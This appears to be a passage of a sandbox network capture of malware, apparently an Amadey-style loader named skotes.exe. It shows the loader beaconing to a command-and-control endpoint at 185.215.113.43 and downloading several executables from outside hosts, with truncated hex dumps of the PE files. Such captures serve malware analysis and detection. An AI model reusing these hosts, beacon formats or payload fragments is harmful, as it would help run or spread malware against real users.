Oct 31, 2024 01:18:29.601855993 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:18:29.601926088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:18:29.601991892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?Wwy^{Q,i,bc~QxJbGXe.o4!gU4hxRnM7_Es`LqN<3?lY?\|%GM~ oge8&A^]`ft?$C_l
Oct 31, 2024 01:18:29.606818914 CET	1236	IN	Data Raw: 13 34 bc 3b 62 80 92 23 93 b5 f0 2b ce ff 26 44 d1 88 d1 f3 aa 85 67 21 a3 20 ab e1 a0 4e 99 15 9f bb c6 94 87 5d c4 2d 40 65 41 6e 99 7c 64 87 37 36 c4 93 96 1c c5 29 70 1d ae 7c 3d 0d 82 9b 84 72 7e 21 a7 1a 51 7a e1 69 bd d1 b8 ab f8 5f 11 d8 Data Ascii: 4;b#+&Dg! N]-@eAn\|d76)p\|=r~!Qzi_Z-Dq{PB4.r)A~(j^_cq)1Mjo7ESzYShx6Nae]:'5fe"AEgy;Es}X4VvxZ>ACtf![/f_<
Oct 31, 2024 01:18:33.522273064 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 01:18:33.801779032 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:18:33 GMT Content-Type: application/octet-stream Content-Length: 1926144 Last-Modified: Wed, 30 Oct 2024 23:58:44 GMT Connection: keep-alive ETag: "6722c834-1d6400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf L@PLM@Wk8LL @.rsrc@.idata @ +@tfbezuorP1H@idqqmftgL>@.taggant0 L"B@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49991	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:05.145080090 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:19:06.063340902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49992	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:07.617547035 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:19:08.546005011 CET	638	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 62 66 0d 0a 20 3c 63 3e 31 30 30 32 37 34 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 39 66 35 35 31 35 65 66 38 65 31 66 32 32 36 39 31 35 32 37 66 31 35 36 62 35 64 62 64 32 65 38 65 33 66 64 61 37 64 66 37 31 39 33 34 63 34 39 66 30 35 36 66 63 34 39 23 31 30 30 32 37 34 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 34 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 37 34 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 [TRUNCATED] Data Ascii: 1bf <c>1002744001+++b5937c1a99d5f99f5515ef8e1f22691527f156b5dbd2e8e3fda7df71934c49f056fc49#1002745001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002746001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002747001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002748001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49993	41.216.183.61	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:08.579982042 CET	53	OUT	GET /hostname.exe HTTP/1.1 Host: softwarefile.cc
Oct 31, 2024 01:19:09.455302954 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:09 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Sun, 09 Jun 2024 21:34:49 GMT ETag: "68400-61a7bcd5d3040" Accept-Ranges: bytes Content-Length: 427008 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 84 b4 22 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 08 00 00 a4 04 00 00 de 01 00 00 00 00 00 8e c3 04 00 00 20 00 00 00 e0 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 06 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 c3 04 00 4b 00 00 00 00 e0 04 00 54 da 01 00 00 00 00 00 00 00 00 00 00 84 06 00 00 00 00 00 00 c0 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"g @ `@KT H.text `.rsrcT@@.reloc@BpH88pc((0 8E681~%986& ~]{r9& 8~s%s( ~]{:& 8z&~~.s(0 8EK\|":GqHjn88` 8 ~]{:\|&
Oct 31, 2024 01:19:09.455337048 CET	1236	IN	Data Raw: 38 71 ff ff ff 16 13 09 20 0e 00 00 00 38 64 ff ff ff 73 05 00 00 0a 25 72 01 00 00 70 6f 06 00 00 0a 25 72 4d 00 00 70 6f 06 00 00 0a 13 07 20 0c 00 00 00 38 3d ff ff ff 11 01 28 13 00 00 06 13 0b 20 0b 00 00 00 38 2a ff ff ff 14 13 01 20 06 00 Data Ascii: 8q 8ds%rpo%rMpo 8=( 8* ~]{S9& 8rap(( 8E5[8rp(( ~]{:& 8s ~]{S9
Oct 31, 2024 01:19:09.455351114 CET	424	IN	Data Raw: 20 0a 00 00 00 38 98 fa ff ff 38 67 00 00 00 20 11 00 00 00 38 89 fa ff ff 11 00 39 ef fa ff ff 20 01 00 00 00 7e 5d 01 00 04 7b 80 01 00 04 39 6e fa ff ff 26 20 00 00 00 00 38 63 fa ff ff 14 13 00 20 0f 00 00 00 7e 5d 01 00 04 7b 5e 01 00 04 3a Data Ascii: 88g 89 ~]{9n& 8c ~]{^:L& 8Ai?F 8,*A\|QE7pcc:EcZ7
Oct 31, 2024 01:19:09.455363989 CET	1236	IN	Data Raw: 00 fe 09 01 00 6f 1f 00 00 0a 2a 00 26 7e 04 00 00 04 14 fe 01 2a 00 00 1a 7e 04 00 00 04 2a 00 13 30 03 00 67 00 00 00 01 00 00 11 02 28 20 00 00 0a 20 00 00 00 00 7e 5d 01 00 04 7b 83 01 00 04 39 14 00 00 00 26 20 00 00 00 00 38 09 00 00 00 38 Data Ascii: o&~~0g( ~]{9& 88E+8} ~]{}9& 80h(! ~]{:& 88E8*} ~]
Oct 31, 2024 01:19:09.455377102 CET	1236	IN	Data Raw: 26 20 00 00 00 00 38 57 ff ff ff 2a 13 30 04 00 59 00 00 00 05 00 00 11 20 01 00 00 00 fe 0e 01 00 38 00 00 00 00 fe 0c 01 00 45 02 00 00 00 2c 00 00 00 05 00 00 00 38 27 00 00 00 02 28 2e 00 00 06 13 00 20 00 00 00 00 7e 5d 01 00 04 7b 52 01 00 Data Ascii: & 8W0Y 8E,8'(. ~]{R:& 8YZl(0 8E,D+8'[T ~]{:& 8]XT 8ZYX
Oct 31, 2024 01:19:09.455388069 CET	1236	IN	Data Raw: 28 38 00 00 06 20 00 00 00 00 7e 5d 01 00 04 7b 67 01 00 04 39 14 00 00 00 26 20 00 00 00 00 38 09 00 00 00 38 cb ff ff ff fe 0c 00 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 2a 13 30 04 00 43 00 00 00 01 00 00 11 02 03 73 ad 05 00 06 28 38 00 Data Ascii: (8 ~]{g9& 88E80Cs(8 ~]{9& 88E80J(J(K(: ~]{R:& 88E8*0D
Oct 31, 2024 01:19:09.455401897 CET	436	IN	Data Raw: 00 38 00 00 00 00 fe 0c 00 00 45 02 00 00 00 05 00 00 00 15 00 00 00 38 00 00 00 00 11 02 11 01 02 28 f4 00 00 06 73 3a 00 00 06 2a 02 28 3c 00 00 06 02 28 3b 00 00 06 03 12 02 12 01 28 29 00 00 06 20 00 00 00 00 7e 5d 01 00 04 7b ad 01 00 04 39 Data Ascii: 8E8(s:(<(;() ~]{9& 80ErOp(<(;x(M(A(N(Do(F(O0N 8E,8'(,
Oct 31, 2024 01:19:09.455415964 CET	1236	IN	Data Raw: 00 04 14 fe 01 2a 00 00 1a 7e 0a 00 00 04 2a 00 1e 00 28 36 01 00 06 2a 2a fe 09 00 00 6f 2a 03 00 06 2a 00 2e 00 fe 09 00 00 28 43 00 00 06 2a 2e 00 fe 09 00 00 28 44 00 00 06 2a 3a fe 09 00 00 fe 09 01 00 6f ce 07 00 06 2a 00 4e 00 fe 09 00 00 Data Ascii: ~(6o.(C.(D:oN(2:ojo>(+0Bs(R ~]{9& 88E80H
Oct 31, 2024 01:19:09.455430984 CET	112	IN	Data Raw: 45 00 00 00 00 00 00 00 03 72 4f 01 00 70 02 28 58 00 00 06 8c 06 00 00 01 02 28 57 00 00 06 8c 06 00 00 01 28 68 00 00 06 03 02 28 41 08 00 06 28 69 00 00 06 03 02 28 44 08 00 06 28 69 00 00 06 02 28 46 08 00 06 28 6a 00 00 06 2a 00 00 00 13 30 Data Ascii: ErOp(X(W(h(A(i(D(i(F(j*0N 8E
Oct 31, 2024 01:19:09.455442905 CET	1236	IN	Data Raw: 00 00 00 2c 00 00 00 05 00 00 00 38 27 00 00 00 02 12 00 28 2c 00 00 06 20 00 00 00 00 7e 5d 01 00 04 7b a0 01 00 04 39 d2 ff ff ff 26 20 00 00 00 00 38 c7 ff ff ff 11 00 2a 00 00 13 30 04 00 50 00 00 00 0c 00 00 11 20 01 00 00 00 fe 0e 00 00 38 Data Ascii: ,8'(, ~]{9& 80P 8E.8)(' ~]{b9& 80d 8E-8((( ~]{9& 8
Oct 31, 2024 01:19:09.460419893 CET	1236	IN	Data Raw: 20 02 00 00 00 38 f4 fe ff ff 17 13 02 20 08 00 00 00 7e 5d 01 00 04 7b a6 01 00 04 3a dd fe ff ff 26 20 06 00 00 00 38 d2 fe ff ff 13 30 04 00 e8 00 00 00 0e 00 00 11 20 05 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 07 00 00 00 38 00 00 Data Ascii: 8 ~]{:& 80 8E8cs;83{s9( ~]{V:& 8*> ~]{z:& 8\|X 8l8 8]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49994	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:12.580622911 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002744001&unit=246122658369
Oct 31, 2024 01:19:13.436619997 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49995	185.215.113.16	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:13.447128057 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 01:19:14.716202974 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:14 GMT Content-Type: application/octet-stream Content-Length: 2934272 Last-Modified: Wed, 30 Oct 2024 23:58:24 GMT Connection: keep-alive ETag: "6722c820-2cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 32 32 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@022-@Th@ ~@.rsrc@@.idata @gaowmbut**@bznrpeau/,@.taggant0/",@
Oct 31, 2024 01:19:14.716242075 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:14.716276884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:14.716286898 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:14.716299057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:14.716315031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:14.716331005 CET	424	IN	Data Raw: db 07 6c 5d 0c 21 25 be 71 fc 10 1f 23 2e 6e 9d b0 00 d9 11 83 11 85 b9 85 4f fe ad 92 8a 12 2b a8 f1 8d 2a 56 29 b8 29 06 03 4c 28 96 03 57 3b 2d 53 52 56 b4 ee 73 bb 9f b6 11 92 1b 6a 02 cb ee a9 95 f1 48 33 59 8a b6 32 1a 63 0d f1 50 18 7a 72 Data Ascii: l]!%q#.nO+*V))L(W;-SRVsjH3Y2cPzr_KG{2~2"b0;eh![G'hCm%;:seGj$&h~2I=??OURs\|i!`GNIQ>eFS+Ufr/q?GHbI1RL'
Oct 31, 2024 01:19:14.716379881 CET	1236	IN	Data Raw: 85 b7 6e f4 1c 84 a2 31 99 95 00 26 66 23 84 b3 38 6b b2 ed 52 92 d0 cd f8 8d 86 b4 27 1f 76 21 63 21 ca 82 a8 2b c6 3b 6b 63 de 1d 50 4a e8 59 94 f0 ca fd 0a 23 91 62 80 39 ce 79 52 f2 59 1e 42 dc 9c 41 38 a7 48 e8 cc af f4 70 a7 43 85 36 b2 28 Data Ascii: n1&f#8kR'v!c!+;kcPJY#b9yRYBA8HpC6("h<\llO3_<a5d#j8p4BX\|- /Yz<15#"/Bd)~QMXD)48t\9T{6;"mbSg}6`_C,0
Oct 31, 2024 01:19:14.716392994 CET	1236	IN	Data Raw: 3d f4 ed bc 74 cf 2b 3e 1c 1a 51 e0 03 cd e9 ec 53 85 65 1a 57 96 e6 fe 7f 1d c5 97 11 77 69 3c 33 98 ed 49 81 07 92 d7 99 1a 2b 79 95 6d 4d f0 20 a7 2e 65 9f 55 06 e2 05 72 e8 23 3e 2b d3 70 1f 30 29 34 41 9d d3 b4 0e f7 df 4f 0f c1 c2 5e a4 01 Data Ascii: =t+>QSeWwi<3I+ymM .eUr#>+p0)4AO^&sA2DZ(0y6~suqi+[Avs0/1e29qG+*TtWCxKO=k4Ie7=O"+1c~~\&J[vq%1\?Z
Oct 31, 2024 01:19:14.716403961 CET	1236	IN	Data Raw: c5 bf 81 a5 6d fa 29 7f 62 30 8f ac 6f 78 3c 31 ae fd 68 0c 50 07 7c c6 1a 60 82 cd 4c b2 23 1b 8a a3 1c 00 5a 01 29 23 9b b0 26 fe a3 6c 84 11 15 bc a3 9e f0 43 28 15 94 05 6d 56 42 89 c5 4d b4 5b 32 9a 49 b6 ab d9 68 67 04 55 07 8b 5e cb 62 c3 Data Ascii: m)b0ox<1hP\|`L#Z)#&lC(mVBM[2IhgU^b1)hKrJ$YkAYWd:^f<{j\|%1ARsn/z;j?\9&%Y/wtqdSu.GC@d3{\|2:r9j
Oct 31, 2024 01:19:14.721189976 CET	1236	IN	Data Raw: ee c3 02 3b 14 2c 71 49 ea d2 29 a9 9f 43 38 cf 0d a8 d9 40 08 85 ab ef a7 3f 31 76 3e f4 b3 57 d1 f2 a0 bd 61 90 95 fb 15 cc 09 e5 ee 3e 86 19 ca b3 ae 24 c4 6a d4 39 f8 c0 61 d9 8a 42 72 81 25 f1 78 c1 e7 a0 f4 72 27 fe c3 3e c9 fe 48 cb 7c 1a Data Ascii: ;,qI)C8@?1v>Wa>$j9aBr%xr'>H\|o5{1E@'OV0AsE]/C0R3f[d'ZA??Q7:>~2Z#(G5a[}5$_bc^#r";Bf&3h$C}H&k3b'CsT>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49996	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:19.019160032 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002745001&unit=246122658369
Oct 31, 2024 01:19:19.912440062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49998	185.215.113.16	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:19.924304008 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 01:19:20.812799931 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:20 GMT Content-Type: application/octet-stream Content-Length: 2086912 Last-Modified: Wed, 30 Oct 2024 23:58:37 GMT Connection: keep-alive ETag: "6722c82d-1fd800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 d0 70 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 71 00 00 04 00 00 91 59 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,p@qY @P.d. p.v@.rsrc .@.idata .@ (.@wcxkxkso0W&@cmdlgkqip@.taggant0p"@
Oct 31, 2024 01:19:20.812823057 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:20.812838078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
